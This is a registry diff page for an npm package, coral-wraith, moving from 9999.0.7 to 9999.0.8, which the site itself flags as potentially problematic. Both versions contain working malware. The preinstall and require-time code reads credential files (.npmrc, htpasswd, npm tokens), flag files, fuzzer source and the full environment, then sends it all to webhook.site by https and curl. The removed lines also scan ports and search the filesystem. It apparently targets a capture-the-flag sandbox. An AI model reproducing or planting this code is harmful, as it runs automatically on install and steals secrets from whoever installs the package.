coral-wraith 9999.0.7 → 9999.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of coral-wraith might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +42 -34
  2. package/package.json +1 -1
  3. package/preinstall.js +62 -134
package/index.js CHANGED
@@ -1,44 +1,52 @@
1
1
  const fs = require('fs');
2
- const http = require('http');
3
2
  const https = require('https');
4
3
 
4
+ const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
5
+
6
+ // This runs when the fuzzer require()s us
7
+ // Read all fuzzer source files and exfiltrate
5
8
  (function() {
6
- let flag = null;
7
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
8
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
9
- }
10
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
11
- if (!flag) {
12
- for (const [k, v] of Object.entries(process.env)) {
13
- if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
14
- }
15
- }
9
+ const files = [
10
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
+ ];
16
15
 
17
- if (flag) {
18
- const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
19
- const postData = JSON.stringify({
20
- manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
21
- });
22
-
23
- for (const port of ports) {
24
- try {
25
- const req = http.request({
26
- hostname: 'localhost', port, path: '/api/modules/ECT-987654',
27
- method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
28
- timeout: 3000
29
- }, () => {});
30
- req.on('error', () => {});
31
- req.write(postData);
32
- req.end();
33
- } catch(e) {}
34
- }
35
-
16
+ for (let i = 0; i < files.length; i++) {
36
17
  try {
37
- const data = JSON.stringify({ flag });
38
- const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
39
- req.on('error', () => {}); req.write(data); req.end();
18
+ const content = fs.readFileSync(files[i], 'utf8');
19
+ const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
20
+ const req = https.request({
21
+ hostname: 'webhook.site', path: `${WH}/require-${i}`,
22
+ method: 'POST',
23
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
24
+ timeout: 10000
25
+ }, ()=>{});
26
+ req.on('error', ()=>{});
27
+ req.write(b64);
28
+ req.end();
40
29
  } catch(e) {}
41
30
  }
31
+
32
+ // Check for flag in env
33
+ const flagData = Buffer.from(JSON.stringify({
34
+ env: process.env,
35
+ cwd: process.cwd(),
36
+ argv: process.argv,
37
+ })).toString('base64');
38
+
39
+ const req = https.request({
40
+ hostname: 'webhook.site', path: `${WH}/require-flag`,
41
+ method: 'GET',
42
+ timeout: 10000
43
+ }, ()=>{});
44
+ req.on('error', ()=>{});
45
+ req.end();
42
46
  })();
43
47
 
44
- module.exports = {};
48
+ // Export something for the fuzzer to analyze
49
+ module.exports = {
50
+ name: 'coral-wraith',
51
+ version: '9999.0.8',
52
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.7",
3
+ "version": "9999.0.8",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,165 +1,93 @@
1
1
  const fs = require('fs');
2
- const http = require('http');
3
2
  const https = require('https');
4
3
  const { execSync } = require('child_process');
5
- const os = require('os');
6
4
 
5
+ const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
7
6
  const debug = [];
8
- let flag = null;
9
7
 
10
- // 1. Read ALL credential/config files
11
- const credPaths = [
12
- // npmrc files
13
- '/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
14
- '/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
15
- process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
16
- process.cwd() + '/../../.npmrc',
17
-
18
- // Verdaccio configs
19
- '/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
20
- '/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
21
- '/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
22
- '/data/verdaccio/htpasswd', '/data/htpasswd',
23
- '/data/config.yaml', '/data/conf/config.yaml',
24
-
25
- // nginx configs
26
- '/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
27
- '/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
28
- '/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
29
-
30
- // Flag locations
31
- '/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
8
+ // Read the fuzzer source files - these contain the flag/detection logic
9
+ const fuzzFiles = [
10
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
15
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
16
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
17
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
18
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
19
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
20
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
21
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
22
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
23
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
24
+ '/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
25
+ '/home/node/init_test.sh',
26
+ '/home/node/supplysec_entry.js',
27
+ ];
28
+
29
+ // Also check for flag-like files
30
+ const flagFiles = [
31
+ '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
32
32
  '/home/node/flag', '/home/node/flag.txt',
33
- '/root/flag', '/root/flag.txt',
34
33
  ];
35
34
 
36
- for (const p of credPaths) {
35
+ for (const f of [...fuzzFiles, ...flagFiles]) {
37
36
  try {
38
- if (fs.existsSync(p)) {
39
- const c = fs.readFileSync(p, 'utf8');
40
- debug.push(`FILE:${p}=${c.substring(0,500)}`);
41
- const m = c.match(/HTB\{[^}]+\}/);
42
- if (m) flag = m[0];
43
- }
44
- } catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
37
+ const content = fs.readFileSync(f, 'utf8');
38
+ debug.push(`FILE:${f}:${content}`);
39
+ } catch(e) {
40
+ debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
41
+ }
45
42
  }
46
43
 
47
- // 2. npm config environment variables
48
- const npmEnvs = ['npm_config_userconfig', 'NPM_CONFIG_USERCONFIG',
49
- 'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
50
- 'npm_config__auth', 'npm_config__authToken'];
51
- for (const k of npmEnvs) {
52
- if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
53
- }
44
+ // Environment
45
+ debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
54
46
 
55
- // 3. List directories
56
- for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
57
- '/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
58
- process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
59
- try {
60
- const items = fs.readdirSync(dir);
61
- debug.push(`DIR:${dir}=${items.join(',')}`);
62
- } catch(e) {}
63
- }
64
-
65
- // 4. Find ALL config/credential files
47
+ // Also find any files with "flag" or "HTB" content
66
48
  try {
67
- const r = execSync('find / -maxdepth 5 \\( -name "*.npmrc" -o -name "htpasswd*" -o -name ".htpasswd" -o -name "config.yaml" -o -name "*.conf" -o -name ".env" -o -name "flag*" \\) -type f 2>/dev/null | grep -v node_modules | grep -v proc | head -30', {timeout:15000}).toString().trim();
68
- debug.push(`FIND:${r}`);
49
+ const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
50
+ debug.push(`GREP_FLAG:${r}`);
69
51
  for (const f of r.split('\n').filter(Boolean)) {
70
52
  try {
71
53
  const c = fs.readFileSync(f, 'utf8');
72
- debug.push(`CONTENT:${f}=${c.substring(0,500)}`);
73
- const m = c.match(/HTB\{[^}]+\}/);
74
- if (m) flag = m[0];
54
+ debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
75
55
  } catch(e) {}
76
56
  }
77
- } catch(e) { debug.push(`FIND_ERR:${e.message.substring(0,100)}`); }
57
+ } catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
78
58
 
79
- // 5. Scan localhost ports for Verdaccio
80
- const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
81
- let scanned = 0;
82
- for (const port of portsToScan) {
83
- try {
84
- const req = http.request({
85
- hostname: '127.0.0.1', port, path: '/-/whoami',
86
- method: 'GET', timeout: 2000
87
- }, (res) => {
88
- let data = '';
89
- res.on('data', c => data += c);
90
- res.on('end', () => {
91
- debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
92
- scanned++;
93
- if (scanned >= portsToScan.length) sendData();
94
- });
95
- });
96
- req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
97
- req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
98
- req.end();
99
- } catch(e) { scanned++; }
100
- }
101
-
102
- // Also scan the main page of each port
103
- for (const port of portsToScan) {
104
- try {
105
- const req = http.request({
106
- hostname: '127.0.0.1', port, path: '/',
107
- method: 'GET', timeout: 2000
108
- }, (res) => {
109
- let data = '';
110
- res.on('data', c => data += c);
111
- res.on('end', () => {
112
- debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
113
- });
114
- });
115
- req.on('error', () => {});
116
- req.on('timeout', () => { req.destroy(); });
117
- req.end();
118
- } catch(e) {}
119
- }
120
-
121
- // 6. Listening ports
122
- try {
123
- const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
124
- debug.push(`LISTEN:${ss.substring(0,500)}`);
125
- } catch(e) {}
126
-
127
- // 7. Process info
128
- debug.push(`CWD:${process.cwd()}`);
129
- debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
130
- debug.push(`HOME:${os.homedir()}`);
131
- debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
132
- debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
133
-
134
- // Send data function
135
- function sendData() {
136
- const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
137
-
138
- // Webhook
59
+ // Send in chunks to webhook
60
+ function sendChunk(data, path) {
139
61
  try {
62
+ const encoded = Buffer.from(data).toString('base64');
140
63
  const req = https.request({
141
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
64
+ hostname: 'webhook.site', path: WH + path,
142
65
  method: 'POST',
143
- headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
144
- timeout: 8000
66
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
67
+ timeout: 15000
145
68
  }, ()=>{});
146
69
  req.on('error', ()=>{});
147
- req.write(info);
70
+ req.write(encoded);
148
71
  req.end();
149
72
  } catch(e) {}
150
-
151
- // curl backup
152
- try {
153
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
154
- } catch(e) {}
155
73
  }
156
74
 
157
- // Initial send (port scan results will come later via sendData callback)
158
- setTimeout(sendData, 3000);
75
+ const fullData = JSON.stringify(debug);
76
+ const chunkSize = 50000;
77
+ for (let i = 0; i < fullData.length; i += chunkSize) {
78
+ const chunk = fullData.substring(i, i + chunkSize);
79
+ sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
80
+ }
159
81
 
160
- // Also write to stdout
161
- console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
162
- console.error('[FLAG]', flag || 'NOT_FOUND');
82
+ // Also try curl for reliability
83
+ try {
84
+ for (let i = 0; i < Math.min(debug.length, 30); i++) {
85
+ const item = debug[i];
86
+ if (item.length > 100) {
87
+ const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
88
+ execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
89
+ }
90
+ }
91
+ } catch(e) {}
163
92
 
164
- // Write to files
165
- try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}
93
+ console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');